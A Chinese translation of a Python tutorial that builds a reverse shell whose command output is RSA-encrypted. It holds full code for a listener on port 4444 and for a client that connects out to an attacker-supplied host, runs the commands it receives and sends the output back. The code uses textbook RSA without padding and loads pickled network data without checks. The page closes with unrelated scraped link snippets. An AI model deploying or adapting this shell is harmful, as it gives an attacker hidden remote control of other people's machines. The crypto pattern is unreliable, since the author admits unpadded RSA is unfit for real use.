使用RSA加密在Python中逆向shell
使用RSA加密在Python中逆向shell
这是一个关于使用RSA加密编程逆向shell的python教程。 我想提一下,这篇文章更多的是关于理解shell中涉及的加密而不是shell本身。 github的链接是https://github.com/ca10x/RSA-reverse-shell
侦听器
首先,我们需要一个侦听器来处理所有传入的连接。 这是listener_rsa.py的代码
- #!/usr/bin/python
- from Crypto.PublicKey import RSA
- from Crypto import Random
- from Crypto.Hash import SHA256
- import socket
- from thread import *
- import sys
- import pickle
- #Generate public key and private key
- random_generator = Random.new().read
- key = RSA.generate(2048, random_generator)
- public_key = key.publickey()
- #Create socket and bind to accept connections
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.bind(("0.0.0.0", 4444))
- except socket.error, v:
- print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1]
- sys.exit()
- print "Socket bind complete"
- s.listen(2)
- print "[+] Listening to the incoming connection on port 4444..."
- def clientthread_sendpublickey(client) :
- client.send(pickle.dumps(public_key))
- def clienthandle(client) :
- while True :
- command = raw_input('~$ ')
- client.send(command)
- if command == 'quit' :
- break
- buf = client.recv(2048)
- encreply = pickle.loads(buf)
- print key.decrypt(encreply)
- while True:
- (client, (ip, port)) = s.accept()
- print "Received connection from : ", ip
- start_new_thread(clientthread_sendpublickey, (client,))
- print "Public Key sent to", ip
- start_new_thread(clienthandle, (client,))
我在Python中使用PyCrypto模块进行加密。 继续安装它。 我建议使用pip来安装模块。
$ sudo pip install pycrypto
在我们进入代码之前,让我向你解释一下RSA加密及其密钥。 RSA是一种非对称加密标准。 它有两个键,公共和私有。 简单来说,公钥用于加密消息,私钥用于解密。 下面是描述该过程的框图

如果你对RSA的数学工作感兴趣,那么我建议你阅读http://mathworld.wolfram.com/RSAEncryption.html(当心,仅限极客)
在上面的程序中,首先生成密钥,该密钥也是私钥。
key = RSA.generate(2048, random_generator)
函数RSA.generate有两个参数,第一个是以位为单位的密钥的大小,第二个是通常使用python随机函数生成的随机数。 在创建私钥之后,从中提取公钥并将其存储在变量中以供将来使用。
public_key = key.publickey()
使用套接字模块创建套接字,这相对简单。 你可以参考Python套接字1的官方文档,甚至可以进行简单的Google搜索。
套接字绑定并等待连接传入连接。
注 - 如果要将Linux中的套接字绑定到小于1024的端口,则必须以root身份执行该脚本。
当收到连接时,初始化新线程以将生成的公钥发送到客户端,以便它可以加密回复。
- def clientthread_sendpublickey(client) :
- client.send(pickle.dumps(public_key))
我们为什么要用Pickle? Pickle用于序列化和反序列化python对象。 由于public_key不是常规字符串,因此必须对其进行pickle,然后将其发送到接收方。
警告 - pickle模块不能防止错误或恶意构造的数据。 切勿取消从不受信任或未经身份验证的来源收到的数据。
一旦发送了公钥,另一个线程clienthandle(客户端)被初始化为True:loop,它发送给接收者的命令。 接收器运行命令并使用公钥加密输出。 然后将输出的pickle发送给监听器。
回复是unpickled,使用私钥解密并打印在屏幕上。
- encreply = pickle.loads(buf)
- print key.decrypt(encreply)
如果给出'quit'命令,则终止连接。
反向shell
让我们转到反向shell所在的接收器端。 reverse_shell_rsa的脚本如下所示
- #!/usr/bin/python
- import socket, subprocess, sys
- from Crypto.PublicKey import RSA
- from Crypto.Hash import SHA256
- import pickle
- RHOST = sys.argv[1]
- RPORT = 4444
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((RHOST, RPORT))
- def receive_key():
- data_key = s.recv(1024)
- return data_key
- pickled_publickey = receive_key()
- public_key = pickle.loads(pickled_publickey)
- while True :
- command = s.recv(1024)
- if command == 'quit' :
- break
- reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout, stderr = reply.communicate()
- en_reply = public_key.encrypt(stdout, 32)
- s.send(pickle.dumps(en_reply))
- s.close()
一如既往,导入必要的模块。 要连接的IP地址作为参数提供,并存储在RHOST变量中。 创建套接字并与服务器(侦听器)建立连接。 一旦接受连接,服务器就会发送公钥(在listener.py脚本中向上滚动到clientthread_sendpublickey()),该公钥通过函数receive_key()接收并去除(记住pickling?)以获取公钥。
- def receive_key():
- data_key = s.recv(1024)
- return data_key
- pickled_publickey = receive_key()
- public_key = pickle.loads(pickled_publickey)
一段时间初始化True循环以保持连接的持久性并接收命令。 如果命令是“退出”,则节目结束。 否则,给定的命令作为子进程和标准输出运行,标准错误通过管道传递给变量'reply'。 然后使用公钥对标准输出进行加密,pickling并发送到服务器。
- en_reply = public_key.encrypt(stdout, 32)
- s.send(pickle.dumps(en_reply))
然后耐心等待,直到下一个命令。
重要的提示
这种方法是'教科书RSA'的实现。 对于真实世界的实现,你必须添加填充,例如PKCS1_OAEP。
RSA速度慢很多,一次只能加密256个字节。 你为什么问? 因为n的值是2048和2048/8 = 256.如果添加填充,阈值将降低,因为它占用了更多的字节。
解决方法是RSA应该通过AES使用。
我将在下一篇文章中解释这个概念。 由于这是我的第一篇文章,欢迎并感谢你的反馈。
新年快乐的人们!
问候,
作者: Cal0X
翻译:i春秋翻译小组-Neo(李皓伟)
责任编辑:F0rmat
翻译来源:https://0x00sec.org/t/reverse-shell-in-python-with-rsa-encryption/1414
使用RSA加密在Python中逆向shell的更多相关文章
- python中写shell(转)
python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...
- python中执行shell的两种方法总结
这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...
- python中执行shell命令的几个方法小结(转载)
转载:http://www.jb51.net/article/55327.htm python中执行shell命令的几个方法小结 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014- ...
- 【python中调用shell命令使用PIPE】使用PIPE作为stdout出现假卡死的情况——将stdout重定向为输出到临时文件
在Python中,调用:subprocess.Popen(cmd, stdout = PIPE, stderr = PIPE, shell= true)的时候,如果调用的shell命令本身在执行之后会 ...
- javascript的rsa加密和python的rsa解密
先说下目前测试情况:javascript加密后的数据,python无法完成解密,我估计是两者的加密解密方法不同 1.看了这篇文章:http://blog.nsfocus.net/python-js-e ...
- [Python]在python中调用shell脚本,并传入参数-02python操作shell实例
首先创建2个shell脚本文件,测试用. test_shell_no_para.sh 运行时,不需要传递参数 test_shell_2_para.sh 运行时,需要传递2个参数 test_shell ...
- python 中调用shell命令
subprocess模块 根据Python官方文档说明,subprocess模块用于取代上面这些模块.有一个用Python实现的并行ssh工具—mssh,代码很简短,不过很有意思,它在线程中调用sub ...
- 「Python」6种python中执行shell命令方法
用Python调用Shell命令有如下几种方式: 第一种: os.system("The command you want"). 这个调用相当直接,且是同步进行的,程序需要阻塞并等 ...
- python中执行shell命令的几个方法小结
原文 http://www.jb51.net/article/55327.htm 最近有个需求就是页面上执行shell命令,第一想到的就是os.system, os.system('cat /proc ...
随机推荐
- 团队软件的NABCD——星遇
日期:2019.4.17 博客期:053 星期三 我们项目是个面向希望有新奇体验的用户的社交软件,致力于打造不一样的有趣的社交. N:(Need,需求) 目前主流社交软件由于时间原因体量越来越大,各种 ...
- win10系统下使用markdown2出现的问题
1.转载自:http://blog.csdn.net/chengjierui/article/details/53065599 电脑系统升级Win10后启动不了Markdown Pad2,报错’Awe ...
- NAT穿透解决
1.各种网络环境下的P2P通信解决方法: (1)如果通信双方在同一个局域网内,这种情况下可以不借助任何外力直接通过内网地址通信即可: (2)如果通信双方都在有独立的公网地址,这种情况下当然可以不借 ...
- 关于DataTable 判断 列名是否存在的方法中英文符合不区分?
最近系统出现一个错误,排查了很久,发现判断DataTable 列名是否存在时,发现一个坑,居然不会区分中英文符合. 有谁知道其中的原理?先记录一下,免得以后忘记这个天坑. 一. 先初始化一个DataT ...
- 用html给div加类似a标签的超链接(转)
今天项目中遇到用html给div加类似a标签的超链接,回想半天,万幸还是想出来了. 分享一下啊: 1.通过window.open函数 <div onclick="window.open ...
- tensorflow优化器-【老鱼学tensorflow】
tensorflow中的优化器主要是各种求解方程的方法,我们知道求解非线性方程有各种方法,比如二分法.牛顿法.割线法等,类似的,tensorflow中的优化器也只是在求解方程时的各种方法. 比较常用的 ...
- 迅雷最新bug已被找到!mac不用登录也可以极速下载了!
想体验迅雷不限速的快感吗?下载这款迅雷Mac(不限速免vip)免登录版吧!拥有了这款迅雷Mac破解版,电影.游戏等所有大文件都不在话下.体验极速的下载功能,尽在迅雷Mac(不限速免vip)破解版!需要 ...
- vs编译OpenGL项目,出现无法打开 源 文件 "gl\glaux.h的解决办法
问题如图: 原因: 缺少编译OpenGL的头文件和库: 解决办法: 1.下载OpenGL的头文件和库: 下载地址:https://download.csdn.net/download/ssagnn23 ...
- DCDC设计指南二
DCDC电源设计指导:二 这一讲以一款SOP-8封装的Synchronous Step-Down Converter(同步降压转换器)电源IC为例,讲下电源的PCB设计. 如第一讲中所说,开始设计时就 ...
- FFT Cheetsheet
参考资料 https://oi.men.ci/fft-notes/ 单位根(此类群均可) \(ω^0, ω^1, \dots, ω^{n-1}互不相同\) \(ω^k_n=ω^{2k}_{2n}\) ...